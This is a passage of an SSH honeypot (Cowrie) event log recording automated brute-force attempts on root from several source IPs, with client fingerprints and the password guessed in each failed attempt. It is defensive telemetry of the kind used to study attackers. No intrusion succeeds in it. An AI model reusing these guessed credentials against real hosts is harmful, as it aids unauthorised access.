{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:17.647800Z","src_ip":"103.173.227.57","session":"7e0fddabcdd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"opopop","message":"login attempt [root/opopop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:18.382739Z","src_ip":"103.173.227.57","session":"7e0fddabcdd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"20acb6ffc244","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 20acb6ffc244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:18.636442Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:18.751898Z","src_ip":"77.90.185.16","session":"20acb6ffc244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:19.630469Z","src_ip":"103.173.227.57","session":"7e0fddabcdd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":37942,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce228e6236de","protocol":"ssh","message":"New connection: 190.129.122.185:37942 (159.203.135.109:22) [session: ce228e6236de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:42.191144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:42.195328Z","src_ip":"190.129.122.185","session":"ce228e6236de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:42.360425Z","src_ip":"190.129.122.185","session":"ce228e6236de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.4399.com","message":"login attempt [root/www.4399.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:43.039305Z","src_ip":"190.129.122.185","session":"ce228e6236de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:44.204296Z","src_ip":"190.129.122.185","session":"ce228e6236de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":60884,"dst_ip":"159.203.135.109","dst_port":22,"session":"a969e823e66c","protocol":"ssh","message":"New connection: 77.94.47.83:60884 (159.203.135.109:22) [session: a969e823e66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:45.706471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:45.711899Z","src_ip":"77.94.47.83","session":"a969e823e66c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:45.819284Z","src_ip":"77.94.47.83","session":"a969e823e66c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"john123","message":"login attempt [root/john123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:46.137337Z","src_ip":"77.94.47.83","session":"a969e823e66c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:47.246492Z","src_ip":"77.94.47.83","session":"a969e823e66c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":36984,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b8851409eba","protocol":"ssh","message":"New connection: 203.161.39.233:36984 (159.203.135.109:22) [session: 7b8851409eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:54.065509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:54.070491Z","src_ip":"203.161.39.233","session":"7b8851409eba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:54.144415Z","src_ip":"203.161.39.233","session":"7b8851409eba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@123Aa","message":"login attempt [root/123@123Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:54.454678Z","src_ip":"203.161.39.233","session":"7b8851409eba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:55.527543Z","src_ip":"203.161.39.233","session":"7b8851409eba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":39046,"dst_ip":"10.17.0.5","dst_port":22,"session":"67f5e74077bd","protocol":"ssh","message":"New connection: 185.236.22.41:39046 (10.17.0.5:22) [session: 67f5e74077bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:03.382827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:03.390859Z","src_ip":"185.236.22.41","session":"67f5e74077bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:03.506463Z","src_ip":"185.236.22.41","session":"67f5e74077bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02081988","message":"login attempt [root/02081988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:03.848937Z","src_ip":"185.236.22.41","session":"67f5e74077bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:04.974655Z","src_ip":"185.236.22.41","session":"67f5e74077bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":44434,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ed64e251d34","protocol":"ssh","message":"New connection: 103.149.170.125:44434 (10.17.0.5:22) [session: 4ed64e251d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:21.465858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:21.474917Z","src_ip":"103.149.170.125","session":"4ed64e251d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:21.735501Z","src_ip":"103.149.170.125","session":"4ed64e251d34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"g3vhrbfu","message":"login attempt [root/g3vhrbfu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:22.529616Z","src_ip":"103.149.170.125","session":"4ed64e251d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":43756,"dst_ip":"159.203.135.109","dst_port":22,"session":"546bafb44852","protocol":"ssh","message":"New connection: 203.161.39.233:43756 (159.203.135.109:22) [session: 546bafb44852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:22.916738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:22.922208Z","src_ip":"203.161.39.233","session":"546bafb44852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:22.993938Z","src_ip":"203.161.39.233","session":"546bafb44852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ucloud.cn","message":"login attempt [root/ucloud.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:23.308661Z","src_ip":"203.161.39.233","session":"546bafb44852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:23.794043Z","src_ip":"103.149.170.125","session":"4ed64e251d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":57550,"dst_ip":"159.203.135.109","dst_port":22,"session":"551af58b849e","protocol":"ssh","message":"New connection: 190.129.122.185:57550 (159.203.135.109:22) [session: 551af58b849e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:23.987988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:23.997833Z","src_ip":"190.129.122.185","session":"551af58b849e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:24.161750Z","src_ip":"190.129.122.185","session":"551af58b849e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:24.381580Z","src_ip":"203.161.39.233","session":"546bafb44852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert123$","message":"login attempt [root/qwert123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:24.847420Z","src_ip":"190.129.122.185","session":"551af58b849e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:56:26.014849Z","src_ip":"190.129.122.185","session":"551af58b849e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":37640,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d060ccfb259","protocol":"ssh","message":"New connection: 103.107.60.45:37640 (10.17.0.5:22) [session: 5d060ccfb259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:41.229444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:57:41.233860Z","src_ip":"103.107.60.45","session":"5d060ccfb259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh